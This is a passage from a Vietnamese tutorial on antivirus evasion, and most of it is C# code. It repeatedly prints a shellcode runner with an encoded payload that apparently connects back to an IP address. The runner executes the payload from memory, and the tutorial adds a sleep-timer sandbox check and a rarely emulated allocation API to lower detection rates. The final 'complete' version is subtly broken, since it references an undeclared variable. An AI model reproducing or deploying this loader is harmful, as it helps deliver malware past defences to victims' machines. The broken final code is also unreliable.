static void Main(string[] args)
{
byte[] buf = new byte[659] { 0xfe, 0x4a, 0x85, 0xe6, 0xf2, 0xea, 0xce, 0x02, 0x02, 0x02, 0x43, 0x53, 0x43, 0x52, 0x54, 0x53, 0x58, 0x4a, 0x33, 0xd4, 0x67, 0x4a, 0x8d, 0x54, 0x62, 0x4a, 0x8d, 0x54, 0x1a, 0x4a, 0x8d, 0x54, 0x22, 0x4f, 0x33, 0xcb, 0x4a, 0x8d, 0x74, 0x52, 0x4a, 0x11, 0xb9, 0x4c, 0x4c, 0x4a, 0x33, 0xc2, 0xae, 0x3e, 0x63, 0x7e, 0x04, 0x2e, 0x22, 0x43, 0xc3, 0xcb, 0x0f, 0x43, 0x03, 0xc3, 0xe4, 0xef, 0x54, 0x4a, 0x8d, 0x54, 0x22, 0x43, 0x53, 0x8d, 0x44, 0x3e, 0x4a, 0x03, 0xd2, 0x68, 0x83, 0x7a, 0x1a, 0x0d, 0x04, 0x11, 0x87, 0x74, 0x02, 0x02, 0x02, 0x8d, 0x82, 0x8a, 0x02, 0x02, 0x02, 0x4a, 0x87, 0xc2, 0x76, 0x69, 0x4a, 0x03, 0xd2, 0x8d, 0x4a, 0x1a, 0x52, 0x46, 0x8d, 0x42, 0x22, 0x4b, 0x03, 0xd2, 0xe5, 0x58, 0x4a, 0x01, 0xcb, 0x43, 0x8d, 0x36, 0x8a, 0x4f, 0x33, 0xcb, 0x4a, 0x03, 0xd8, 0x4a, 0x33, 0xc2, 0x43, 0xc3, 0xcb, 0x0f, 0xae, 0x43, 0x03, 0xc3, 0x3a, 0xe2, 0x77, 0xf3, 0x4e, 0x05, 0x4e, 0x26, 0x0a, 0x47, 0x3b, 0xd3, 0x77, 0xda, 0x5a, 0x46, 0x8d, 0x42, 0x26, 0x4b, 0x03, 0xd2, 0x68, 0x43, 0x8d, 0x0e, 0x4a, 0x46, 0x8d, 0x42, 0x1e, 0x4b, 0x03, 0xd2, 0x43, 0x8d, 0x06, 0x8a, 0x4a, 0x03, 0xd2, 0x43, 0x5a, 0x43, 0x5a, 0x60, 0x5b, 0x5c, 0x43, 0x5a, 0x43, 0x5b, 0x43, 0x5c, 0x4a, 0x85, 0xee, 0x22, 0x43, 0x54, 0x01, 0xe2, 0x5a, 0x43, 0x5b, 0x5c, 0x4a, 0x8d, 0x14, 0xeb, 0x4d, 0x01, 0x01, 0x01, 0x5f, 0x4a, 0x33, 0xdd, 0x55, 0x4b, 0xc0, 0x79, 0x6b, 0x70, 0x6b, 0x70, 0x67, 0x76, 0x02, 0x43, 0x58, 0x4a, 0x8b, 0xe3, 0x4b, 0xc9, 0xc4, 0x4e, 0x79, 0x28, 0x09, 0x01, 0xd7, 0x55, 0x55, 0x4a, 0x8b, 0xe3, 0x55, 0x5c, 0x4f, 0x33, 0xc2, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x4b, 0xbc, 0x3c, 0x58, 0x7b, 0xa9, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0xea, 0x10, 0x02, 0x02, 0x02, 0x33, 0x3b, 0x34, 0x30, 0x33, 0x38, 0x3a, 0x30, 0x36, 0x3b, 0x30, 0x3a, 0x37, 0x02, 0x5c, 0x4a, 0x8b, 0xc3, 0x4b, 0xc9, 0xc2, 0xbd, 0x03, 0x02, 0x02, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x6c, 0x05, 0x55, 0x4b, 0xbc, 0x59, 0x8b, 0xa1, 0xc8, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0xea, 0x6c, 0x02, 0x02, 0x02, 0x31, 0x68, 0x56, 0x6f, 0x69, 0x51, 0x71, 0x77, 0x68, 0x52, 0x61, 0x4d, 0x32, 0x61, 0x39, 0x5a, 0x3b, 0x33, 0x73, 0x4b, 0x6d, 0x6a, 0x69, 0x44, 0x53, 0x35, 0x75, 0x6a, 0x44, 0x63, 0x7c, 0x59, 0x3b, 0x63, 0x65, 0x4f, 0x7b, 0x58, 0x37, 0x49, 0x71, 0x46, 0x4d, 0x39, 0x61, 0x44, 0x3b, 0x78, 0x7c, 0x61, 0x6c, 0x7b, 0x6f, 0x78, 0x51, 0x55, 0x44, 0x53, 0x36, 0x6c, 0x4a, 0x72, 0x55, 0x71, 0x50, 0x54, 0x2f, 0x38, 0x47, 0x56, 0x6a, 0x6d, 0x71, 0x5b, 0x47, 0x45, 0x65, 0x50, 0x65, 0x6c, 0x49, 0x32, 0x46, 0x63, 0x4b, 0x6f, 0x6a, 0x4f, 0x6b, 0x7a, 0x6c, 0x4b, 0x61, 0x65, 0x37, 0x70, 0x49, 0x6e, 0x70, 0x43, 0x6a, 0x55, 0x49, 0x44, 0x43, 0x02, 0x4a, 0x8b, 0xc3, 0x55, 0x5c, 0x43, 0x5a, 0x4f, 0x33, 0xcb, 0x55, 0x4a, 0xba, 0x02, 0x34, 0xaa, 0x86, 0x02, 0x02, 0x02, 0x02, 0x52, 0x55, 0x55, 0x4b, 0xc9, 0xc4, 0xed, 0x57, 0x30, 0x3d, 0x01, 0xd7, 0x4a, 0x8b, 0xc8, 0x6c, 0x0c, 0x61, 0x4a, 0x8b, 0xf3, 0x6c, 0x21, 0x5c, 0x54, 0x6a, 0x82, 0x35, 0x02, 0x02, 0x4b, 0x8b, 0xe2, 0x6c, 0x06, 0x43, 0x5b, 0x4b, 0xbc, 0x77, 0x48, 0xa0, 0x88, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4f, 0x33, 0xc2, 0x55, 0x5c, 0x4a, 0x8b, 0xf3, 0x4f, 0x33, 0xcb, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x4b, 0xc9, 0xc4, 0x2f, 0x08, 0x1a, 0x7d, 0x01, 0xd7, 0x87, 0xc2, 0x77, 0x21, 0x4a, 0xc9, 0xc3, 0x8a, 0x15, 0x02, 0x02, 0x4b, 0xbc, 0x46, 0xf2, 0x37, 0xe2, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x01, 0xd1, 0x76, 0x04, 0xed, 0xac, 0xea, 0x57, 0x02, 0x02, 0x02, 0x55, 0x5b, 0x6c, 0x42, 0x5c, 0x4b, 0x8b, 0xd3, 0xc3, 0xe4, 0x12, 0x4b, 0xc9, 0xc2, 0x02, 0x12, 0x02, 0x02, 0x4b, 0xbc, 0x5a, 0xa6, 0x55, 0xe7, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x95, 0x55, 0x55, 0x4a, 0x8b, 0xe9, 0x4a, 0x8b, 0xf3, 0x4a, 0x8b, 0xdc, 0x4b, 0xc9, 0xc2, 0x02, 0x22, 0x02, 0x02, 0x4b, 0x8b, 0xfb, 0x4b, 0xbc, 0x14, 0x98, 0x8b, 0xe4, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x85, 0xc6, 0x22, 0x87, 0xc2, 0x76, 0xb4, 0x68, 0x8d, 0x09, 0x4a, 0x03, 0xc5, 0x87, 0xc2, 0x77, 0xd4, 0x5a, 0xc5, 0x5a, 0x6c, 0x02, 0x5b, 0x4b, 0xc9, 0xc4, 0xf2, 0xb7, 0xa4, 0x58, 0x01, 0xd7, };
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
}
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
Kết quả scan đã ổn hơn so với lần trước đó (11/26)
6. Messing with Our Behavior
Như đã được đề cập ở nội dung trước đó, hầu hết các sản phẩm AV đều triển khai các kỹ thuật mô phỏng hành vi của tệp. Việc này thường được thực hiện song song với phát hiện chữ ký độc hại. Để payload hạn chế bị detect nhất có thể, thông thường ta kết hợp 2 giải pháp bypass chữ kỹ & bypass hành vi.
Cách điển hình nhất để bypass qua heuristics là làm cho phần mềm độc hại thực thi các hành động trong mô phỏng khác so với khi chúng thực thi trên máy nạn nhân. Vậy đầu tiên, payload phải có chức năng tự phát hiện nó đang được chạy trong sandbox.
Simple Sleep Timers
Sleep Timers là kỹ thuật bypass quá trình phân tích hành vi lâu đời nhất - thông qua độ trễ thời gian. Thông thường, nếu một ứng dụng đang chạy trong một quá trình mô phỏng, nếu AV gặp function pause hoặc sleep nó sẽ tua nhanh tới thời điểm tiếp tục. Ví dụ payload của chúng ta sleep(1000s) thì AV sẽ không đợi cả 1000(s) mà sẽ tua nhanh hơn. Điều này nhằm tiếp kiệm thời gian scan.
Vậy để xác nhận chương trình của chúng ta có đang bị chạy trong sandbox hay không, đơn giản ta chỉ cần xác định thời gian trước và sau lệnh sleep() xem có trùng khớp với thời gian sleep() ban đầu ra đặt ra không. Nếu nó ít hơn, chương trình đang bị sandbox, ta phải thoát ra ngay trước khi thực thi shellcode (hoặc ra phải chạy những hành vi vô hại làm mồi nhử).
import DLL
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
Đầu tiên, ta xác định thời gian hiện tại với DateTime.now
DateTime t1 = DateTime.Now;
Đặt chương trình sleep 2s Sleep(2000)
Tiếp theo, để xác định thời gian đã trôi qua, ta lấy DateTime.now hiện tại trừ đi DateTime.now trước sleep và chuyển giá trị này thành giây với TotalSeconds
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
Cuối cùng ta dùng một câu lệnh điều kiện, kiểm tra xem giá trị t2 có ít hơn giá trị sleep ban đầu. Nếu có, ta thoát chương trình - không cho shellcode thực thi
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
static void Main(string[] args)
{
DateTime t1 = DateTime.Now;
Sleep(2000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 1.5)
{
return;
}
byte[] buf = new byte[659] { 0xfe, 0x4a, 0x85, 0xe6, 0xf2, 0xea, 0xce, 0x02, 0x02, 0x02, 0x43, 0x53, 0x43, 0x52, 0x54, 0x53, 0x58, 0x4a, 0x33, 0xd4, 0x67, 0x4a, 0x8d, 0x54, 0x62, 0x4a, 0x8d, 0x54, 0x1a, 0x4a, 0x8d, 0x54, 0x22, 0x4f, 0x33, 0xcb, 0x4a, 0x8d, 0x74, 0x52, 0x4a, 0x11, 0xb9, 0x4c, 0x4c, 0x4a, 0x33, 0xc2, 0xae, 0x3e, 0x63, 0x7e, 0x04, 0x2e, 0x22, 0x43, 0xc3, 0xcb, 0x0f, 0x43, 0x03, 0xc3, 0xe4, 0xef, 0x54, 0x4a, 0x8d, 0x54, 0x22, 0x43, 0x53, 0x8d, 0x44, 0x3e, 0x4a, 0x03, 0xd2, 0x68, 0x83, 0x7a, 0x1a, 0x0d, 0x04, 0x11, 0x87, 0x74, 0x02, 0x02, 0x02, 0x8d, 0x82, 0x8a, 0x02, 0x02, 0x02, 0x4a, 0x87, 0xc2, 0x76, 0x69, 0x4a, 0x03, 0xd2, 0x8d, 0x4a, 0x1a, 0x52, 0x46, 0x8d, 0x42, 0x22, 0x4b, 0x03, 0xd2, 0xe5, 0x58, 0x4a, 0x01, 0xcb, 0x43, 0x8d, 0x36, 0x8a, 0x4f, 0x33, 0xcb, 0x4a, 0x03, 0xd8, 0x4a, 0x33, 0xc2, 0x43, 0xc3, 0xcb, 0x0f, 0xae, 0x43, 0x03, 0xc3, 0x3a, 0xe2, 0x77, 0xf3, 0x4e, 0x05, 0x4e, 0x26, 0x0a, 0x47, 0x3b, 0xd3, 0x77, 0xda, 0x5a, 0x46, 0x8d, 0x42, 0x26, 0x4b, 0x03, 0xd2, 0x68, 0x43, 0x8d, 0x0e, 0x4a, 0x46, 0x8d, 0x42, 0x1e, 0x4b, 0x03, 0xd2, 0x43, 0x8d, 0x06, 0x8a, 0x4a, 0x03, 0xd2, 0x43, 0x5a, 0x43, 0x5a, 0x60, 0x5b, 0x5c, 0x43, 0x5a, 0x43, 0x5b, 0x43, 0x5c, 0x4a, 0x85, 0xee, 0x22, 0x43, 0x54, 0x01, 0xe2, 0x5a, 0x43, 0x5b, 0x5c, 0x4a, 0x8d, 0x14, 0xeb, 0x4d, 0x01, 0x01, 0x01, 0x5f, 0x4a, 0x33, 0xdd, 0x55, 0x4b, 0xc0, 0x79, 0x6b, 0x70, 0x6b, 0x70, 0x67, 0x76, 0x02, 0x43, 0x58, 0x4a, 0x8b, 0xe3, 0x4b, 0xc9, 0xc4, 0x4e, 0x79, 0x28, 0x09, 0x01, 0xd7, 0x55, 0x55, 0x4a, 0x8b, 0xe3, 0x55, 0x5c, 0x4f, 0x33, 0xc2, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x4b, 0xbc, 0x3c, 0x58, 0x7b, 0xa9, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0xea, 0x10, 0x02, 0x02, 0x02, 0x33, 0x3b, 0x34, 0x30, 0x33, 0x38, 0x3a, 0x30, 0x36, 0x3b, 0x30, 0x3a, 0x37, 0x02, 0x5c, 0x4a, 0x8b, 0xc3, 0x4b, 0xc9, 0xc2, 0xbd, 0x03, 0x02, 0x02, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x6c, 0x05, 0x55, 0x4b, 0xbc, 0x59, 0x8b, 0xa1, 0xc8, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0xea, 0x6c, 0x02, 0x02, 0x02, 0x31, 0x68, 0x56, 0x6f, 0x69, 0x51, 0x71, 0x77, 0x68, 0x52, 0x61, 0x4d, 0x32, 0x61, 0x39, 0x5a, 0x3b, 0x33, 0x73, 0x4b, 0x6d, 0x6a, 0x69, 0x44, 0x53, 0x35, 0x75, 0x6a, 0x44, 0x63, 0x7c, 0x59, 0x3b, 0x63, 0x65, 0x4f, 0x7b, 0x58, 0x37, 0x49, 0x71, 0x46, 0x4d, 0x39, 0x61, 0x44, 0x3b, 0x78, 0x7c, 0x61, 0x6c, 0x7b, 0x6f, 0x78, 0x51, 0x55, 0x44, 0x53, 0x36, 0x6c, 0x4a, 0x72, 0x55, 0x71, 0x50, 0x54, 0x2f, 0x38, 0x47, 0x56, 0x6a, 0x6d, 0x71, 0x5b, 0x47, 0x45, 0x65, 0x50, 0x65, 0x6c, 0x49, 0x32, 0x46, 0x63, 0x4b, 0x6f, 0x6a, 0x4f, 0x6b, 0x7a, 0x6c, 0x4b, 0x61, 0x65, 0x37, 0x70, 0x49, 0x6e, 0x70, 0x43, 0x6a, 0x55, 0x49, 0x44, 0x43, 0x02, 0x4a, 0x8b, 0xc3, 0x55, 0x5c, 0x43, 0x5a, 0x4f, 0x33, 0xcb, 0x55, 0x4a, 0xba, 0x02, 0x34, 0xaa, 0x86, 0x02, 0x02, 0x02, 0x02, 0x52, 0x55, 0x55, 0x4b, 0xc9, 0xc4, 0xed, 0x57, 0x30, 0x3d, 0x01, 0xd7, 0x4a, 0x8b, 0xc8, 0x6c, 0x0c, 0x61, 0x4a, 0x8b, 0xf3, 0x6c, 0x21, 0x5c, 0x54, 0x6a, 0x82, 0x35, 0x02, 0x02, 0x4b, 0x8b, 0xe2, 0x6c, 0x06, 0x43, 0x5b, 0x4b, 0xbc, 0x77, 0x48, 0xa0, 0x88, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4f, 0x33, 0xc2, 0x55, 0x5c, 0x4a, 0x8b, 0xf3, 0x4f, 0x33, 0xcb, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x4b, 0xc9, 0xc4, 0x2f, 0x08, 0x1a, 0x7d, 0x01, 0xd7, 0x87, 0xc2, 0x77, 0x21, 0x4a, 0xc9, 0xc3, 0x8a, 0x15, 0x02, 0x02, 0x4b, 0xbc, 0x46, 0xf2, 0x37, 0xe2, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x01, 0xd1, 0x76, 0x04, 0xed, 0xac, 0xea, 0x57, 0x02, 0x02, 0x02, 0x55, 0x5b, 0x6c, 0x42, 0x5c, 0x4b, 0x8b, 0xd3, 0xc3, 0xe4, 0x12, 0x4b, 0xc9, 0xc2, 0x02, 0x12, 0x02, 0x02, 0x4b, 0xbc, 0x5a, 0xa6, 0x55, 0xe7, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x95, 0x55, 0x55, 0x4a, 0x8b, 0xe9, 0x4a, 0x8b, 0xf3, 0x4a, 0x8b, 0xdc, 0x4b, 0xc9, 0xc2, 0x02, 0x22, 0x02, 0x02, 0x4b, 0x8b, 0xfb, 0x4b, 0xbc, 0x14, 0x98, 0x8b, 0xe4, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x85, 0xc6, 0x22, 0x87, 0xc2, 0x76, 0xb4, 0x68, 0x8d, 0x09, 0x4a, 0x03, 0xc5, 0x87, 0xc2, 0x77, 0xd4, 0x5a, 0xc5, 0x5a, 0x6c, 0x02, 0x5b, 0x4b, 0xc9, 0xc4, 0xf2, 0xb7, 0xa4, 0x58, 0x01, 0xd7, };
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
}
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
Tỉ lệ phát hiện đã thấp hơn
Non-emulated APIs
Các sandbox của AV chỉ mô phỏng thực thi các chứ năng của API phổ biến. Nên nếu payload của chúng ta sử dụng các API "ít phổ biến" , nó sẽ không bị detect. Nói chung, có 2 cách để tìm kiếm các API không được mô phỏng trong sandbox. Đầu tiên, ta có thể RE các AV để tìm kiếm, nó sẽ rất phức tạp và mất nhiều hơn gian. Hoặc đơn giản hơn, ta tìm kiếm các API "ít được chú ý" trên MSDN (không có danh sách các API "ít người biết đến", ta chỉ có thể dự đoán dựa trên tính năng đặc thù của nó mà thôi).
Ví dụ : Xét API Win32 VirtualAllocExNuma, hậu tố "Numa" để thiết kế hệ thống nhằm tối ưu hóa bộ nhớ trên server . Do tính chất đặc thù của nó, các sandbox thường không mô phỏng API này (vì thông thường chúng ta để dùng VirtualAllocEx để phân bổ bộ nhớ).
Nhưng vì nó là API "ít phổ biến", cho nên ta sẽ gặp khó khăn về tài liệu
Ở đây ta so sánh nguyên mẫu C của VirtualAllocEx và VirtualAllocExNuma
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
và
LPVOID VirtualAllocExNuma(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred
);
Trong 2 nguyên mẫu trên, chỉ có tham số cuối cùng là khác nhau và chỉ là một DWORD đơn giản. Nên ta có thể sử dụng lại pivoke của VirtualAllocEx
cho VirtualAllocExNuma
và thêm đối số Uint32
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
import GetCurrentProcess DLL
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
return;
}
Code hoàn chỉnh
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
static void Main(string[] args)
{
DateTime t1 = DateTime.Now;
Sleep(2000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 1.5)
{
return;
}
byte[] buf = new byte[659] { 0xfe, 0x4a, 0x85, 0xe6, 0xf2, 0xea, 0xce, 0x02, 0x02, 0x02, 0x43, 0x53, 0x43, 0x52, 0x54, 0x53, 0x58, 0x4a, 0x33, 0xd4, 0x67, 0x4a, 0x8d, 0x54, 0x62, 0x4a, 0x8d, 0x54, 0x1a, 0x4a, 0x8d, 0x54, 0x22, 0x4f, 0x33, 0xcb, 0x4a, 0x8d, 0x74, 0x52, 0x4a, 0x11, 0xb9, 0x4c, 0x4c, 0x4a, 0x33, 0xc2, 0xae, 0x3e, 0x63, 0x7e, 0x04, 0x2e, 0x22, 0x43, 0xc3, 0xcb, 0x0f, 0x43, 0x03, 0xc3, 0xe4, 0xef, 0x54, 0x4a, 0x8d, 0x54, 0x22, 0x43, 0x53, 0x8d, 0x44, 0x3e, 0x4a, 0x03, 0xd2, 0x68, 0x83, 0x7a, 0x1a, 0x0d, 0x04, 0x11, 0x87, 0x74, 0x02, 0x02, 0x02, 0x8d, 0x82, 0x8a, 0x02, 0x02, 0x02, 0x4a, 0x87, 0xc2, 0x76, 0x69, 0x4a, 0x03, 0xd2, 0x8d, 0x4a, 0x1a, 0x52, 0x46, 0x8d, 0x42, 0x22, 0x4b, 0x03, 0xd2, 0xe5, 0x58, 0x4a, 0x01, 0xcb, 0x43, 0x8d, 0x36, 0x8a, 0x4f, 0x33, 0xcb, 0x4a, 0x03, 0xd8, 0x4a, 0x33, 0xc2, 0x43, 0xc3, 0xcb, 0x0f, 0xae, 0x43, 0x03, 0xc3, 0x3a, 0xe2, 0x77, 0xf3, 0x4e, 0x05, 0x4e, 0x26, 0x0a, 0x47, 0x3b, 0xd3, 0x77, 0xda, 0x5a, 0x46, 0x8d, 0x42, 0x26, 0x4b, 0x03, 0xd2, 0x68, 0x43, 0x8d, 0x0e, 0x4a, 0x46, 0x8d, 0x42, 0x1e, 0x4b, 0x03, 0xd2, 0x43, 0x8d, 0x06, 0x8a, 0x4a, 0x03, 0xd2, 0x43, 0x5a, 0x43, 0x5a, 0x60, 0x5b, 0x5c, 0x43, 0x5a, 0x43, 0x5b, 0x43, 0x5c, 0x4a, 0x85, 0xee, 0x22, 0x43, 0x54, 0x01, 0xe2, 0x5a, 0x43, 0x5b, 0x5c, 0x4a, 0x8d, 0x14, 0xeb, 0x4d, 0x01, 0x01, 0x01, 0x5f, 0x4a, 0x33, 0xdd, 0x55, 0x4b, 0xc0, 0x79, 0x6b, 0x70, 0x6b, 0x70, 0x67, 0x76, 0x02, 0x43, 0x58, 0x4a, 0x8b, 0xe3, 0x4b, 0xc9, 0xc4, 0x4e, 0x79, 0x28, 0x09, 0x01, 0xd7, 0x55, 0x55, 0x4a, 0x8b, 0xe3, 0x55, 0x5c, 0x4f, 0x33, 0xc2, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x4b, 0xbc, 0x3c, 0x58, 0x7b, 0xa9, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0xea, 0x10, 0x02, 0x02, 0x02, 0x33, 0x3b, 0x34, 0x30, 0x33, 0x38, 0x3a, 0x30, 0x36, 0x3b, 0x30, 0x3a, 0x37, 0x02, 0x5c, 0x4a, 0x8b, 0xc3, 0x4b, 0xc9, 0xc2, 0xbd, 0x03, 0x02, 0x02, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x6c, 0x05, 0x55, 0x4b, 0xbc, 0x59, 0x8b, 0xa1, 0xc8, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0xea, 0x6c, 0x02, 0x02, 0x02, 0x31, 0x68, 0x56, 0x6f, 0x69, 0x51, 0x71, 0x77, 0x68, 0x52, 0x61, 0x4d, 0x32, 0x61, 0x39, 0x5a, 0x3b, 0x33, 0x73, 0x4b, 0x6d, 0x6a, 0x69, 0x44, 0x53, 0x35, 0x75, 0x6a, 0x44, 0x63, 0x7c, 0x59, 0x3b, 0x63, 0x65, 0x4f, 0x7b, 0x58, 0x37, 0x49, 0x71, 0x46, 0x4d, 0x39, 0x61, 0x44, 0x3b, 0x78, 0x7c, 0x61, 0x6c, 0x7b, 0x6f, 0x78, 0x51, 0x55, 0x44, 0x53, 0x36, 0x6c, 0x4a, 0x72, 0x55, 0x71, 0x50, 0x54, 0x2f, 0x38, 0x47, 0x56, 0x6a, 0x6d, 0x71, 0x5b, 0x47, 0x45, 0x65, 0x50, 0x65, 0x6c, 0x49, 0x32, 0x46, 0x63, 0x4b, 0x6f, 0x6a, 0x4f, 0x6b, 0x7a, 0x6c, 0x4b, 0x61, 0x65, 0x37, 0x70, 0x49, 0x6e, 0x70, 0x43, 0x6a, 0x55, 0x49, 0x44, 0x43, 0x02, 0x4a, 0x8b, 0xc3, 0x55, 0x5c, 0x43, 0x5a, 0x4f, 0x33, 0xcb, 0x55, 0x4a, 0xba, 0x02, 0x34, 0xaa, 0x86, 0x02, 0x02, 0x02, 0x02, 0x52, 0x55, 0x55, 0x4b, 0xc9, 0xc4, 0xed, 0x57, 0x30, 0x3d, 0x01, 0xd7, 0x4a, 0x8b, 0xc8, 0x6c, 0x0c, 0x61, 0x4a, 0x8b, 0xf3, 0x6c, 0x21, 0x5c, 0x54, 0x6a, 0x82, 0x35, 0x02, 0x02, 0x4b, 0x8b, 0xe2, 0x6c, 0x06, 0x43, 0x5b, 0x4b, 0xbc, 0x77, 0x48, 0xa0, 0x88, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4f, 0x33, 0xc2, 0x55, 0x5c, 0x4a, 0x8b, 0xf3, 0x4f, 0x33, 0xcb, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x4b, 0xc9, 0xc4, 0x2f, 0x08, 0x1a, 0x7d, 0x01, 0xd7, 0x87, 0xc2, 0x77, 0x21, 0x4a, 0xc9, 0xc3, 0x8a, 0x15, 0x02, 0x02, 0x4b, 0xbc, 0x46, 0xf2, 0x37, 0xe2, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x01, 0xd1, 0x76, 0x04, 0xed, 0xac, 0xea, 0x57, 0x02, 0x02, 0x02, 0x55, 0x5b, 0x6c, 0x42, 0x5c, 0x4b, 0x8b, 0xd3, 0xc3, 0xe4, 0x12, 0x4b, 0xc9, 0xc2, 0x02, 0x12, 0x02, 0x02, 0x4b, 0xbc, 0x5a, 0xa6, 0x55, 0xe7, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x95, 0x55, 0x55, 0x4a, 0x8b, 0xe9, 0x4a, 0x8b, 0xf3, 0x4a, 0x8b, 0xdc, 0x4b, 0xc9, 0xc2, 0x02, 0x22, 0x02, 0x02, 0x4b, 0x8b, 0xfb, 0x4b, 0xbc, 0x14, 0x98, 0x8b, 0xe4, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x85, 0xc6, 0x22, 0x87, 0xc2, 0x76, 0xb4, 0x68, 0x8d, 0x09, 0x4a, 0x03, 0xc5, 0x87, 0xc2, 0x77, 0xd4, 0x5a, 0xc5, 0x5a, 0x6c, 0x02, 0x5b, 0x4b, 0xc9, 0xc4, 0xf2, 0xb7, 0xa4, 0x58, 0x01, 0xd7, };
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
}
int size = buf.Length;
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
return;
}
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
7. Disclaimer
Lưu ý, nội dung trong bài viết hoàn toàn được cung cấp với mục đích giáo dục.Mình không chịu trách nhiệm nếu các kỹ thuật này được sử dụng cho mục đích bất hợp pháp.